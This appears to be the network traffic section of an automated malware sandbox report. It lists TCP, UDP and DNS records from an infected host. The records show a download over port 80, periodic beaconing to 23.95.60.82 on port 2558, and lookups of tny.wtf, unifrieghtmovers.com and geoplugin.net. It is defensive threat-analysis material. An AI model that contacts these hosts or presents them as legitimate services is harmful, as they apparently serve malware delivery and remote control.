Jul 26, 2024 09:30:09.805624962 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.880203962 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.880218983 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.880234003 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.880239964 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.880249977 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.880261898 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.880271912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.880347013 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.881112099 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.881766081 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.881830931 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.881843090 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.881869078 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.881887913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.881891012 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.881905079 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.881913900 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.881922007 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.881942034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.881942034 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.881942034 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.881984949 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.881984949 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882016897 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882034063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882050037 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882066965 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882066011 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882083893 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882091045 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882091045 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882102966 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882113934 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882132053 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882147074 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882150888 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882165909 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882184029 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882200003 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882208109 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882208109 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882229090 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882230997 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882247925 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882287979 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882299900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882318020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882335901 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882380009 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882380962 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882405043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882421970 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882455111 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882472038 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882481098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882502079 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882508039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882519960 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882525921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882550955 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882576942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882595062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882600069 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882627964 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882644892 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882646084 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882662058 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882678986 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882682085 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882695913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882709026 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882709026 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882714033 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882729053 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882746935 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882759094 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882803917 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882810116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882837057 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882852077 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882853031 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882852077 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882867098 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882877111 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882880926 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882893085 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882895947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882910967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882921934 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882921934 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882925034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882939100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882946014 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882962942 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.882967949 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882982016 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.882994890 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.883003950 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.883008957 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.883023024 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.883033037 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.883037090 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.883049965 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.883066893 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.883078098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.883078098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.883078098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.883078098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.883112907 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.883112907 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.883132935 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889602900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889619112 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889663935 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889678955 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889693022 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889705896 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889704943 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889704943 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889722109 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889744043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889744043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889744043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889755964 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889770031 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889786005 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889796972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889802933 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889802933 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889812946 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889830112 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889832973 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889833927 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889841080 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889856100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889857054 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889868975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889870882 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889883995 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889889002 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889899015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.889924049 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.889944077 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890008926 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890023947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890050888 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890065908 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890079975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890079975 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890094042 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890104055 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890110970 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890156031 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890156984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890156031 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890173912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890187979 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890202045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890214920 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890218973 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890228987 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890239954 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890264034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890265942 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890292883 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890305042 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890307903 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890321016 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890325069 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890346050 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890346050 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890376091 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890566111 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890636921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890686035 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890700102 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890701056 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890726089 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890752077 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890850067 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890866995 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890908957 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890923977 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890924931 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890938997 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890953064 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890954018 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890968084 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.890978098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890978098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.890984058 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.891004086 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.891004086 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.891022921 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.891024113 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.891041040 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.891068935 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.891093016 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.891113043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.968835115 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.968863010 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.968869925 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.968879938 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.968889952 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.968899965 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.968915939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.968921900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.968933105 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.968940020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.968941927 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.968943119 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.969022036 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.969022036 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.969022036 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.969075918 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.969086885 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.969091892 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.969096899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.969103098 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.969129086 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.969161034 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.969295979 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:12.947417021 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:12.947848082 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:15.611355066 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:30:15.616347075 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:15.616441011 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:30:15.623703003 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:30:15.629210949 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:16.238152981 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:16.370641947 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:16.371973991 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:30:16.376142025 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:30:16.382420063 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:16.382503986 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:30:16.387793064 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:17.855616093 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:17.860462904 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:30:17.865529060 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:17.973365068 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:18.171022892 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:30:18.321309090 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:19.586760998 CEST	49169	80	192.168.2.22	178.237.33.50
Jul 26, 2024 09:30:19.591726065 CEST	80	49169	178.237.33.50	192.168.2.22
Jul 26, 2024 09:30:19.591825008 CEST	49169	80	192.168.2.22	178.237.33.50
Jul 26, 2024 09:30:19.592058897 CEST	49169	80	192.168.2.22	178.237.33.50
Jul 26, 2024 09:30:19.596810102 CEST	80	49169	178.237.33.50	192.168.2.22
Jul 26, 2024 09:30:19.708141088 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:19.713181973 CEST	80	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:30:20.216634989 CEST	80	49169	178.237.33.50	192.168.2.22
Jul 26, 2024 09:30:20.216814995 CEST	49169	80	192.168.2.22	178.237.33.50
Jul 26, 2024 09:30:20.245897055 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:30:20.250957012 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:21.398716927 CEST	80	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:30:21.399005890 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:21.399399996 CEST	80	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:30:21.399455070 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:21.400157928 CEST	80	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:30:21.400223970 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:21.400590897 CEST	80	49169	178.237.33.50	192.168.2.22
Jul 26, 2024 09:30:21.400612116 CEST	80	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:30:21.400649071 CEST	49169	80	192.168.2.22	178.237.33.50
Jul 26, 2024 09:30:21.400662899 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:22.277580023 CEST	49170	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:22.277826071 CEST	49171	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:22.282588005 CEST	80	49170	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:22.282737017 CEST	49170	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:22.282937050 CEST	80	49171	188.114.96.3	192.168.2.22
Jul 26, 2024 09:30:22.282982111 CEST	49171	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:22.283673048 CEST	49172	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:22.288824081 CEST	80	49172	188.114.96.3	192.168.2.22
Jul 26, 2024 09:30:22.288950920 CEST	49172	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:22.289392948 CEST	49172	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:22.294286966 CEST	80	49172	188.114.96.3	192.168.2.22
Jul 26, 2024 09:30:23.426986933 CEST	80	49172	188.114.96.3	192.168.2.22
Jul 26, 2024 09:30:23.427313089 CEST	49172	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:27.001221895 CEST	49171	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:27.001384020 CEST	49172	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:27.001384974 CEST	49170	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:44.014791012 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:30:44.016875982 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:30:44.022250891 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:31:14.025507927 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:31:14.028703928 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:31:14.033727884 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:31:20.683614969 CEST	49169	80	192.168.2.22	178.237.33.50
Jul 26, 2024 09:31:20.688817978 CEST	80	49169	178.237.33.50	192.168.2.22
Jul 26, 2024 09:31:44.033164024 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:31:44.035036087 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:31:44.039824963 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:31:54.095776081 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:31:54.105976105 CEST	80	49163	188.114.96.3	192.168.2.22
Jul 26, 2024 09:31:54.106057882 CEST	49163	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:32:14.150502920 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:32:14.151973963 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:32:14.157037020 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:32:44.286369085 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:32:44.287563086 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:32:44.292443037 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:33:14.380295038 CEST	2558	49168	23.95.60.82	192.168.2.22
Jul 26, 2024 09:33:14.384188890 CEST	49168	2558	192.168.2.22	23.95.60.82
Jul 26, 2024 09:33:14.389141083 CEST	2558	49168	23.95.60.82	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 09:29:55.009728909 CEST	54562	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:29:55.021058083 CEST	53	54562	8.8.8.8	192.168.2.22
Jul 26, 2024 09:29:57.706703901 CEST	52917	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:29:57.717645884 CEST	53	52917	8.8.8.8	192.168.2.22
Jul 26, 2024 09:30:15.432204008 CEST	62751	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:30:15.595709085 CEST	53	62751	8.8.8.8	192.168.2.22
Jul 26, 2024 09:30:18.982187033 CEST	57893	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:30:19.453432083 CEST	53	57893	8.8.8.8	192.168.2.22
Jul 26, 2024 09:30:19.455171108 CEST	57893	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:30:19.462793112 CEST	53	57893	8.8.8.8	192.168.2.22
Jul 26, 2024 09:30:22.268345118 CEST	54821	53	192.168.2.22	8.8.8.8
Jul 26, 2024 09:30:22.275839090 CEST	53	54821	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 09:29:55.009728909 CEST	192.168.2.22	8.8.8.8	0xa9a0	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:29:57.706703901 CEST	192.168.2.22	8.8.8.8	0x8c0e	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:30:15.432204008 CEST	192.168.2.22	8.8.8.8	0xa9e2	Standard query (0)	unifrieghtmovers.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:30:18.982187033 CEST	192.168.2.22	8.8.8.8	0x9556	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:30:19.455171108 CEST	192.168.2.22	8.8.8.8	0x9556	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:30:22.268345118 CEST	192.168.2.22	8.8.8.8	0x66c5	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 09:29:55.021058083 CEST	8.8.8.8	192.168.2.22	0xa9a0	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
